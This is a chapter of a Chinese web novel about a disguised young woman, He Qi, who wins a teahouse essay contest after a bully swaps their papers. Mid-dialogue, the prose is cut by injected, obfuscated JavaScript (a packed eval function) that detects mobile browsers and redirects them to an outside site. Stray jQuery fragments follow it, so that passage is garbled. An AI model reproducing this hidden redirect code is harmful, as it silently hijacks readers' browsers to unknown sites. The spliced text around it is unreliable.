105. 胜负已分

作品:《小七科举手记

    胡三见青衫少年回身一动不动盯着他手中的文章,以为他还未写完心有不甘,不由嗤笑道:“此时再挣扎也是枉然,写不出便是写不出。若真有几分才学,何至于拖到香尽时分?”胡三自拿到题目便文思泉涌,觉得这题目本不算难,便以“善士相交为求学之正途”破题,一路洋洋洒洒写成全文。眼见这外乡人迟迟不能下笔,只怕是连题意都未曾理会明白,临到末了才胡乱凑数。


    他心下得意,也懒得细看何七的文章,转头吩咐小厮:“去,将我这篇与他那篇调换着交上去。就说他那篇是我写的,我这篇才是他的。”


    小厮应声而去,一溜烟窜上二楼云山书院厢房门口,进去不多时便又出来。


    他一出来,茶楼里众学子的目光都粘在这小厮身上,只是碍于他是胡三身边的人,不敢贸然拦问。待他回到胡三跟前,才听他回话:“公子,已按吩咐交上去了。昨日那位先生说需请书院夫子评阅后再定胜负,请公子稍候片刻。”


    “哼,多此一举。”胡三语气不耐,在他看来,这根本就无甚好比较的,那外乡人险些都没能写完,孰高孰低,可不是一目了然么?可他余光瞥见那青衫少年,只见那少年已经坐下喝茶了,丝毫看不出来有紧张慌乱之感。


    胡三不想这少年还这般作态,又出言嘲讽道:“你倒是会装腔作势。待云山书院的人出来,看你还能这般镇定!若我是你,此刻早该溜之大吉,也省得待会儿颜面扫地。”


    何七放下茶盏,道:“胡公子还是多操心自个儿罢。我不过是个无名学子,公子却是众人楷模。这茶楼之内,谁不盼着公子得胜?若结果不如公子所愿,却不知该如何收场?”


    “你……”胡三被这话一呛,顿时噎住,半晌才指着何七道:“好你个贼厮,真当顶个破斗笠便奈何你不得?今日偏要掀了你这遮羞布!”话音未落,身边几个小厮便一窝蜂朝何七扑去。何七似早有防备,刚要闪身,却见一人抢步上前拦在中间,竟是方才一直默立人群中的褚琴枫。


    褚琴枫挡在何七身前,扬声道:“这位公子戴着斗笠自有缘故。今日原是文章较量,胡公子何苦这般相逼?莫非是自觉文墨上讨不得便宜,便要寻别的由头?”


    “原来是你!”胡三一下便将褚琴枫认了出来,冷笑道,“好哇,你二人果然是一路的!你们……”


    胡三还未说完,就听得二楼传来“吱呀”一声,竟是二楼那门被人推开了。里头走出来的人依旧是昨日那位冷脸青年。他一出来,茶楼里头的人顿时都噤声了,原本停留在胡三与那青衫少年身上的目光都齐齐移到了他身上去。


    那青年在栏杆前站定,缓声道:“两篇文章,夫子俱已阅毕。”


    此话一出,胡三整了整衣襟,故作从容道:“既然评阅已毕,不知夫子们作何评判?”


    那青年神情略微有些复杂地看了胡三一眼,道:“夫子们说,胡公子此番文章较往日大有进益。若公子愿入云山书院,我等自当欢迎。”


    “什么?”胡三先是一愣,随即反应过来,腾地一下起身,道,“你们云山书院什么意思,我的那篇文章……”这结果实在出乎他的意料,话未说完,四周已响起一片窃窃私语:


    “这胡三公子交上去的文章分明是那外乡人写的吗?这云山书院的怎的会说是胡三公子写的好?”


    “莫不是这外乡人跟早就跟云山书院串通好了……”


    “你糊涂呀,这题目可是胡三公子亲自收上来的,教上去的文章又调换了名姓,即便是串通好了,也该是让那外乡人入选才是,怎么会轮到胡三公子入院呢?”


    “住口!”胡三回头一声呵斥,那群低声议论的书生登时止住了嘴,他强压下心中怒火,继续对那青年道:“既如此,那他的文章如何?”


    那青年淡漠地扫了一眼静立一旁的青衫少年,道:“此人的文章实在是俗物,无甚好提的。”


    这话说得十分直白,茶楼只中四下哗然,众人都知胡三公子是与这青衫少年换了文章的,说这外乡人写的文章是俗物,岂非正是遍地胡三写的文章么?


    “你!”胡三手指着那青年,愤然道:“你们云山书院究竟会不会看文章?简直是有眼无珠!”


    青年见胡三如此,眉间皱了皱,道:“胡公子,我何曾说过你的文章不好?何必动怒。既然公子看不上我院,另择高就是矣,以公子才学,何愁没有书院赏识。”


    这青年越是称赞这篇文章,他的脸色便越是白一分,只因他心知那文章根本就不是他写的。


    眼看着那青年要转身回屋,却被胡三急急一声叫住:“且慢!我不信,你们定是把两篇文章看错了,不然就把两篇文章拿出来给我们瞧瞧!”


    胡三不肯相信自己的文章会被比下去,那厮可是差点就没写完,怎么可能比得过他?


    青年本不欲理会,却似听得屋内吩咐,接过递出的两篇文章。他抽出一篇道:“胡公子,夫子说你这篇《尚友论》确实难得,若愿与众共赏,也是美事一桩。至于这位卢公子的窗稿,若不愿示人,绝不强求。”


    “《尚友论》……”胡三低声喃喃,他的文章根本不是这名字。他方才扯过那厮的文章时,倒是依稀瞥见这三个字……


    何七透过斗笠瞥到胡三失魂落魄的模样,轻声一笑,对那青年一拱手,道:“多谢,在下的拙作不必示人了,想来胡公子也是不愿的。”


    哪知胡三听到何七的声音,又激动起来,道:“你定是先前就写过这题是不是?还是你与这云山书院关系匪浅,今日就做了这局来坑害我!”


    不待何七说话替自己辩解,他旁边的褚琴枫就道:“胡公子休要血口喷人!出题是你定的,换文是你主张,桩桩件件防着这位公子与书院往来。如今见文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409514|162537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    墨不及,便空口诬人,实非君子所为!”


    “你们……”胡胡三正要发作,忽被楼梯处的惊叹打断:“好文章,果真是好文章,这篇文章写得真是好!”


    “是啊,短短时辰便能得此佳作,实在了得,这功力怕是不简单啊。”


    “快给我仔细瞧瞧,我才只看了一半便被你们抢去了!”


    “嘘,你们可低声些吧,胡三公子还在那儿听着呢……”


    只见方才那篇《尚友论》不知何时被人从那青年手中拿了下来,不少人已凑上去围观,想一睹被云山书院取录的究竟是何等文章。


    只是胡三虽还在这儿,那群凑热闹的的书生却管不了这许多了。


    胡三原想着该是自己的文章受尽追捧,不想风头竟全叫那青衫少年占了去。他气得面皮紫胀,跳脚指着何七骂道:“好你个贼厮!莫以为作得一篇酸文便在临江立足了!我兄长是新任县丞,姐夫在京为官,你有种便一辈子戴着这劳什子!待我查清你的根脚,定叫你吃不了兜着走!”


    这般狠话如今说来,倒似戏台上的丑角自曝其短。何七哪里会惧他威胁?论兄弟她自是比不上,可要说姐夫,李承之眼下不正是在临江么。待何佑,何怀环得释,她更无后顾之忧。


    当下只一笑置之:“公子请自便。只是今日这文章高低,终是强求不来的。”


    听得“文章”二字,胡三浑身直抖。自知再纠缠只会更失颜面,虽存着报复的心思,也只得暂且咬牙离去。


    见胡三背影消失在门口,褚琴枫长舒一口气:“恭喜公子文章夺魁,直入云山书院。今日好险,若叫那胡三得逞,还不知要如何作践人。公子仗义出手,在下不知如何报答才是。”


    “何必言谢。”何七拍拍他肩膀,“待我上楼拜会书院夫子,若得准入书院,你我便是同窗。同窗之间互相帮衬,原是应当的。”


    想着换文之事终究不妥,须得向书院说明原委。何七心下盘算着说辞,轻叩二楼厢房门扉。


    开门的仍是那青年:“何事?”


    何七施礼道:“在下卢琦,方才与胡公子比试的文章,尚有一事需向夫子禀明,可否容面见诸位夫子?”


    “让他进来。”不待青年回应,屋内传来一声吩咐。何七却耳根一动——这声音怎地这般耳熟?


    何七得了准,刚要举步,那青年却道:“既要面见夫子,还戴着斗笠成何体统?”


    何七这才醒觉,忙将斗笠除了,欠身道:“多谢提点。”


    除去遮掩,屋内光景便一览无余。但见一道梨花木屏风横在当间,后头隐约坐着两道身影,想必便是书院的夫子了。


    “不必拘礼,且转过来说话。”里头那人似瞧出她的迟疑,温声相唤。


    “是。”何七应声转出屏风,可待看清座上之人时,却似被定身法定住一般,怔在了原地。